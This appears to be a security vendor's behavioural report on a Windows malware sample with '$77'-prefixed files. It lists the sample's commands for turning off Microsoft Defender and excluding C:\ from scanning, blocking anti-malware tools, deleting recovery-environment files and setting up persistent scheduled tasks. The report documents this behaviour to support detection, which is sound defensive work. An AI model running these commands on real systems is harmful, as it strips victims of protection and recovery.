Technical Information
To ensure autorun and distribution
Creates or modifies the following files
- <SYSTEM32>\tasks\$77stellacy.job
- <SYSTEM32>\tasks\$77sx.job
- <SYSTEM32>\tasks\$77stlr.job
Malicious functions
To complicate detection of its presence in the operating system,
modifies the following system settings:
- [<HKCU>\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'DisallowRun' = '00000001'
Executes the following
- '<SYSTEM32>\taskkill.exe' /im "SecurityHealthSystray.exe" /f
Modifies file system
Deletes the following files
- <SYSTEM32>\reagentc.exe
- <SYSTEM32>\reagent.dll
Miscellaneous
Searches for the following windows
- ClassName: '' WindowName: ''
Executes the following
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\' -Force
- '<SYSTEM32>\reg.exe' add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "6" /t REG_SZ /d "mbam.exe" /f
- '<SYSTEM32>\reg.exe' add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "5" /t REG_SZ /d "MBSetup.exe" /f
- '<SYSTEM32>\reg.exe' add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "4" /t REG_SZ /d "rkill64.exe" /f
- '<SYSTEM32>\reg.exe' add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "3" /t REG_SZ /d "rkill32.exe" /f
- '<SYSTEM32>\reg.exe' add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "2" /t REG_SZ /d "rkill.exe" /f
- '<SYSTEM32>\reg.exe' add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "1" /t REG_SZ /d "MRT.exe" /f
- '<SYSTEM32>\reg.exe' add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "DisallowRun" /t REG_DWORD /d "1" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MRT" /f
- '<SYSTEM32>\reg.exe' delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /f
- '<SYSTEM32>\icacls.exe' "<SYSTEM32>\reagent.dll" /grant *S-1-5-32-544:F /T /C /Q
- '<SYSTEM32>\takeown.exe' /f "<SYSTEM32>\reagent.dll"
- '<SYSTEM32>\taskeng.exe' {08EE455F-A638-43EB-B55D-268EB5002BD5} S-1-5-21-1960123792-2022915161-3775307078-1001:bjcpueye\user:Interactive:[1]
- '<SYSTEM32>\icacls.exe' "<SYSTEM32>\reagentc.exe" /grant *S-1-5-32-544:F /T /C /Q
- '<SYSTEM32>\takeown.exe' /f "<SYSTEM32>\reagentc.exe"
- '<SYSTEM32>\reagentc.exe' /disable
- '<SYSTEM32>\schtasks.exe' /RU user /create /tn "$77STLR.job" /tr "%LOCALAPPDATA%\Microsoft\Windows\$77STLR.exe" /sc onstart /RL HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /RU user /create /tn "$77SX.job" /tr "'<SYSTEM32>\Wscript.exe'%LOCALAPPDATA%\Microsoft\Windows\$77vbs.vbs" /sc minute /mo 40 /RL HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /RU user /create /tn "$77Stellacy.job" /tr "%LOCALAPPDATA%\Microsoft\Windows\$77Stellacy.exe" /sc minute /mo 1 /RL HIGHEST /f
- '<SYSTEM32>\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "1" /t "REG_SZ" /d "6" /f
- '<SYSTEM32>\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "5" /t "REG_SZ" /d "6" /f
- '<SYSTEM32>\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t "REG_DWORD" /d "1" /f
- '<SYSTEM32>\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender\Threats\ThreatIdDefaultAction" /v "2147745502" /t REG_SZ /d "6" /f
- '<SYSTEM32>\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender\Threats\ThreatIdDefaultAction" /v "2147735505" /t REG_SZ /d "6" /f
- '<SYSTEM32>\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender\Threats\ThreatIdDefaultAction" /v "2147772079" /t REG_SZ /d "6" /f
- '<SYSTEM32>\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatIdDefaultAction" /t REG_DWORD /d "1" /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows Defender Security Center\Notifications" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows Defender Security Center\Notifications" /v "DisableNotifications" /t REG_DWORD /d "1" /f
- '<SYSTEM32>\reg.exe' add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "7" /t REG_SZ /d "mbar.exe" /f
- '<SYSTEM32>\timeout.exe' 2
